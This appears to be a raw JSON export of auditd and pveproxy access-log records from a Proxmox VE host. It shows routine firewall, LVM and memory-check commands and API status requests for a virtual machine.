argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965705339,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.339:66758): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64120 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345311,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.311:60643): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965965724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.724:67875): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65184 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965145425,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 884"} {"@timestamp":1781964265374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.374:60281): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd0bc920b0 a1=6487a63e73d0 a2=6487a63c5680 a3=5 items=1 ppid=57879 pid=57880 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965964932,"@rawstring":"node=pve type=EXECVE msg=audit(1781965964.932:67852): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965705334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.334:66757): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64119 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345309,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.309:60642): argc=1 a0=\"date\""} {"@timestamp":1781965965717,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.717:67874): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65183 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965144346,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964263522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964263.522:60271): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965964922,"@rawstring":"node=pve type=EXECVE msg=audit(1781965964.922:67849): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965705324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.324:66756): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64118 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345300,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.300:60640): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965965710,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.710:67873): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65182 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965144346,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964263522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964263.522:60270): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965964805,"@rawstring":"node=pve type=EXECVE msg=audit(1781965964.805:67846): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965705319,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.319:66755): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5750b8d69740 items=0 ppid=1156 pid=64117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964345288,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.288:60639): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965965701,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.701:67872): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65181 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965144346,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964263514,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964263.514:60268): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965964771,"@rawstring":"node=pve type=EXECVE msg=audit(1781965964.771:67845): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965705316,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.316:66754): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ec9d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345275,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.275:60638): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965965697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.697:67871): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=62fd13c6b740 items=0 ppid=1156 pid=65180 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965144346,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 912"} {"@timestamp":1781964263514,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964263.514:60267): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965960987,"@rawstring":"node=pve type=EXECVE msg=audit(1781965960.987:67844): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965705309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.309:66753): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e41f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64116 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345260,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.260:60637): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965965694,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.694:67870): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc143b70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65180 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965143253,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:02 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964258507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964258.507:60265): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965960987,"@rawstring":"node=pve type=EXECVE msg=audit(1781965960.987:67843): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781965705302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.302:66752): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f5420 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64115 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345250,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.250:60636): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965965688,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.688:67869): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f9130 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65179 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965143253,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781964258507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964258.507:60264): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965960985,"@rawstring":"node=pve type=EXECVE msg=audit(1781965960.985:67842): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781965705294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.294:66751): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13dd30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64114 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345243,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.243:60634): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965965682,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.682:67868): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc143b40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65178 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965142030,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964258497,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964258.497:60262): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965959914,"@rawstring":"node=pve type=EXECVE msg=audit(1781965959.914:67841): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965705286,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.286:66750): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f5420 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64113 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345236,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.236:60633): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965965677,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.677:67867): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecb50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65177 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965142030,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781964258497,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964258.497:60261): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965959908,"@rawstring":"node=pve type=EXECVE msg=audit(1781965959.908:67838): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965705282,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.282:66749): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fb670 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64112 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345227,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.227:60632): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965965670,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.670:67866): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc143b40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65176 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965142030,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:00 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781964255320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.320:60257): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdc14b3a60 a1=5c28c7684310 a2=5c28c767d680 a3=5 items=1 ppid=57859 pid=57860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965959615,"@rawstring":"node=pve type=EXECVE msg=audit(1781965959.615:67835): argc=4 a0=\"/usr/bin/perl\" a1=\"/usr/bin/pvesh\" a2=\"get\" a3=\"/nodes/pve/877/status/current\""} {"@timestamp":1781965705273,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.273:66748): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64111 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345220,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.220:60631): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965965663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.663:67865): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8f50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65175 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965140985,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:00 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964255230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964255.230:60239): arch=c000003e syscall=59 success=no exit=-2 a0=7ffeaa6eb530 a1=652e5b04f310 a2=652e5b048680 a3=5 items=1 ppid=57840 pid=57841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955585,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.585:67834): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965705264,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.264:66747): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64110 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345203,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.203:60630): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965965656,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.656:67864): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965140985,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:00 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964253487,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964253.487:60229): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57830 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955582,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.582:67833): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965705260,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.260:66746): arch=c000003e syscall=59 success=yes exit=0 a0=5714ada23d70 a1=5714ada2ff40 a2=5714ad9fd680 a3=5 items=2 ppid=64103 pid=64109 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345188,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.188:60629): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965965650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.650:67863): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65173 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965140985,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 904"} {"@timestamp":1781964253487,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964253.487:60228): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57830 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955581,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.581:67832): argc=1 a0=\"date\""} {"@timestamp":1781965705255,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.255:66745): arch=c000003e syscall=59 success=yes exit=0 a0=5714900ffac8 a1=7ffe9e619970 a2=5714ad9fd680 a3=5714900e324e items=2 ppid=64103 pid=64105 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345168,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.168:60628): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965965646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.646:67862): arch=c000003e syscall=59 success=yes exit=0 a0=580b36b11b20 a1=580b36b1d9f0 a2=580b36aeb680 a3=5 items=2 ppid=65166 pid=65172 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965140985,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964253478,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964253.478:60226): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57829 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955576,"@rawstring":"node=pve type=EXECVE msg=audit(1781965955.576:67830): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965705255,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.255:66744): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe9e619930 a1=5714ada1f410 a2=5714ad9fd680 a3=5 items=2 ppid=64103 pid=64104 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined 